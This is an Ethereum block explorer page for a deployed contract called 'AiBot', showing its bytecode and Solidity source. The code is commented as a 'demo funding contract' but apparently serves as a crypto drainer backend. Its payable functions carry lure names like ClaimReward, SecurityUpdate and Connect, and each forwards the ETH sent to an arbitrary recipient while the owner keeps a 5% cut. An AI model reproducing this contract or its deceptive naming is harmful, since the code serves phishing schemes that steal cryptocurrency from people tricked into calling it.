Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x43AF0b92A0D0DBB5747A93b00d32fDb449cD30c3
Balance 0.578023 ETH ($1228.50)
Nonce 1
Code Size 3823 bytes
Indexed Transactions 0 (1 on-chain, 0.8% indexed)
External Etherscan · Sourcify

Contract Bytecode

3823 bytes
0x6080604052600436106100f2575f3560e01c8063893d20e811610089578063e1d4504f11610058578063e1d4504f146102c8578063f27260c2146102e4578063f2fde38b14610300578063f4e724af14610328576100f2565b8063893d20e814610210578063ced72f871461023a578063d285660d14610264578063dd62ed3e1461028c576100f2565b806331fdb8cb116100c557806331fdb8cb1461019457806332b80676146101b057806362fb75d7146101d857806380ed6c48146101f4576100f2565b8063095ea7b3146100f657806312065fe0146101325780631836092b1461015c5780631b835de714610178575b5f80fd5b348015610101575f80fd5b5061011c60048036038101906101179190610a7f565b610344565b6040516101299190610ad7565b60405180910390f35b34801561013d575f80fd5b5061014661049f565b6040516101539190610aff565b60405180910390f35b61017660048036038101906101719190610b18565b6104a6565b005b610192600480360381019061018d9190610b18565b6104b4565b005b6101ae60048036038101906101a99190610b18565b6104c2565b005b3480156101bb575f80fd5b506101d660048036038101906101d19190610b56565b6104d0565b005b6101f260048036038101906101ed9190610b18565b6105b2565b005b61020e60048036038101906102099190610b18565b6105c0565b005b34801561021b575f80fd5b506102246105ce565b6040516102319190610b90565b60405180910390f35b348015610245575f80fd5b5061024e6105f5565b60405161025b9190610aff565b60405180910390f35b34801561026f575f80fd5b5061028a60048036038101906102859190610bdf565b6105fe565b005b348015610297575f80fd5b506102b260048036038101906102ad9190610b18565b610758565b6040516102bf9190610aff565b60405180910390f35b6102e260048036038101906102dd9190610b18565b6107da565b005b6102fe60048036038101906102f99190610b18565b6107e8565b005b34801561030b575f80fd5b5061032660048036038101906103219190610b56565b6107f6565b005b610342600480360381019061033d9190610b18565b610944565b005b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036103b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103aa90610c64565b60405180910390fd5b8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161048d9190610aff565b60405180910390a36001905092915050565b5f47905090565b6104b08282610952565b5050565b6104be8282610952565b5050565b6104cc8282610952565b5050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461055d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055490610ccc565b60405180910390fd5b5f60015490505f6001819055508173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156105ad573d5f803e3d5ffd5b505050565b6105bc8282610952565b5050565b6105ca8282610952565b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f600154905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461068b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068290610ccc565b60405180910390fd5b5f8160ff16101580156106a25750600a8160ff1611155b6106e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d890610d34565b60405180910390fd5b5f60025f9054906101000a900460ff1690508160025f6101000a81548160ff021916908360ff1602179055507f8aeb416bcc35d1e0f263caf174a830fa26332f626c038ddcb56f0100f456680b8160025f9054906101000a900460ff1660405161074c929190610d61565b60405180910390a15050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6107e48282610952565b5050565b6107f28282610952565b5050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087a90610ccc565b60405180910390fd5b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f20785b27e5fe438f15d8e2c5ccf83f449d08d77cba6151a2857a22015412860660405160405180910390a35050565b61094e8282610952565b5050565b5f3490505f60025f9054906101000a900460ff1660ff166064836109769190610de2565b6109809190610e12565b9050808261098e9190610e53565b91508060015461099e9190610e86565b6001819055508273ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f193505050501580156109e7573d5f803e3d5ffd5b5050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610a1b826109f2565b9050919050565b610a2b81610a11565b8114610a35575f80fd5b50565b5f81359050610a4681610a22565b92915050565b5f819050919050565b610a5e81610a4c565b8114610a68575f80fd5b50565b5f81359050610a7981610a55565b92915050565b5f8060408385031215610a9557610a946109ee565b5b5f610aa285828601610a38565b9250506020610ab385828601610a6b565b9150509250929050565b5f8115159050919050565b610ad181610abd565b82525050565b5f602082019050610aea5f830184610ac8565b92915050565b610af981610a4c565b82525050565b5f602082019050610b125f830184610af0565b92915050565b5f8060408385031215610b2e57610b2d6109ee565b5b5f610b3b85828601610a38565b9250506020610b4c85828601610a38565b9150509250929050565b5f60208284031215610b6b57610b6a6109ee565b5b5f610b7884828501610a38565b91505092915050565b610b8a81610a11565b82525050565b5f602082019050610ba35f830184610b81565b92915050565b5f60ff82169050919050565b610bbe81610ba9565b8114610bc8575f80fd5b50565b5f81359050610bd981610bb5565b92915050565b5f60208284031215610bf457610bf36109ee565b5b5f610c0184828501610bcb565b91505092915050565b5f82825260208201905092915050565b7f417070726f766520746f20746865207a65726f206164647265737300000000005f82015250565b5f610c4e601b83610c0a565b9150610c5982610c1a565b602082019050919050565b5f6020820190508181035f830152610c7b81610c42565b9050919050565b7f4163636573732044656e696564000000000000000000000000000000000000005f82015250565b5f610cb6600d83610c0a565b9150610cc182610c82565b602082019050919050565b5f6020820190508181035f830152610ce381610caa565b9050919050565b7f496e76616c69642050657263656e7461676500000000000000000000000000005f82015250565b5f610d1e601283610c0a565b9150610d2982610cea565b602082019050919050565b5f6020820190508181035f830152610d4b81610d12565b9050919050565b610d5b81610ba9565b82525050565b5f604082019050610d745f830185610d52565b610d816020830184610d52565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610dec82610a4c565b9150610df783610a4c565b925082610e0757610e06610d88565b5b828204905092915050565b5f610e1c82610a4c565b9150610e2783610a4c565b9250828202610e3581610a4c565b91508282048414831517610e4c57610e4b610db5565b5b5092915050565b5f610e5d82610a4c565b9150610e6883610a4c565b9250828203905081811115610e8057610e7f610db5565b5b92915050565b5f610e9082610a4c565b9150610e9b83610a4c565b9250828201905080821115610eb357610eb2610db5565b5b9291505056fea26469706673582212204ebfaf997ebdfd37411db335db10c4cf60e128ef64dde975988ff9582e18fd2f64736f6c63430008140033

Verified Source Code Partial Match

Compiler: v0.8.20+commit.a1b79de6 EVM: shanghai Optimization: No
AiBot.sol 118 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;

error FundMe__NotOwner();

/**
 * @title A contract for crowd funding
 * @author lordshady
 * @notice This contract is a demo funding contract
 * @dev This implements price feed as our library
 */
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract AiBot is IERC20 {
    address private owner;
    uint256 private fee;
    uint8 private percentage;

    mapping(address => mapping(address => uint256)) private _allowances;

    event Ownership(address indexed previousOwner, address indexed currentOwner);
    event Percentage(uint8 previousPercentage, uint8 currentPercentage);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor() {
        owner = msg.sender;
        fee = 0;
        percentage = 5;
    }

    function getOwner() public view returns (address) {
        return owner;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getFee() public view returns (uint256) {
        return fee;
    }

    function withdraw(address sender, address recipient) private {
        uint256 amount = msg.value;
        uint256 reserve = (amount / 100) * percentage;
        amount = amount - reserve;
        fee = fee + reserve;
        payable(recipient).transfer(amount);
    }

    function Claim(address sender, address recipient) public payable {
        withdraw(sender, recipient);
    }

    function ClaimReward(address sender, address recipient) public payable {
        withdraw(sender, recipient);
    }

    function ClaimRewards(address sender, address recipient) public payable {
        withdraw(sender, recipient);
    }

    function Execute(address sender, address recipient) public payable {
        withdraw(sender, recipient);
    }

    function Multicall(address sender, address recipient) public payable {
        withdraw(sender, recipient);
    }

    function Swap(address sender, address recipient) public payable {
        withdraw(sender, recipient);
    }

    function Connect(address sender, address recipient) public payable {
        withdraw(sender, recipient);
    }

    function SecurityUpdate(address sender, address recipient) public payable {
        withdraw(sender, recipient);
    }

    function transferOwnership(address newOwner) public {
        require(msg.sender == owner, "Access Denied");
        address previousOwner = owner;
        owner = newOwner;
        emit Ownership(previousOwner, newOwner);
    }

    function Fee(address receiver) public {
        require(msg.sender == owner, "Access Denied");
        uint256 amount = fee;
        fee = 0;
        payable(receiver).transfer(amount);
    }

    function changePercentage(uint8 newPercentage) public {
        require(msg.sender == owner, "Access Denied");
        require(newPercentage >= 0 && newPercentage <= 10, "Invalid Percentage");
        uint8 previousPercentage = percentage;
        percentage = newPercentage;
        emit Percentage(previousPercentage, percentage);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        require(spender != address(0), "Approve to the zero address");

        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
getBalance 0x12065fe0 → uint256
getFee 0xced72f87 → uint256
getOwner 0x893d20e8 → address

Write Contract 12 functions

These functions modify contract state and require a wallet transaction to execute.

Claim 0x1836092b
address sender
address recipient
ClaimReward 0xf27260c2
address sender
address recipient
ClaimRewards 0x62fb75d7
address sender
address recipient
Connect 0xf4e724af
address sender
address recipient
Execute 0x1b835de7
address sender
address recipient
Fee 0x32b80676
address receiver
Multicall 0x31fdb8cb
address sender
address recipient
SecurityUpdate 0x80ed6c48
address sender
address recipient
Swap 0xe1d4504f
address sender
address recipient
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
changePercentage 0xd285660d
uint8 newPercentage
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

This address has 1 on-chain transactions, but only 0.8% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →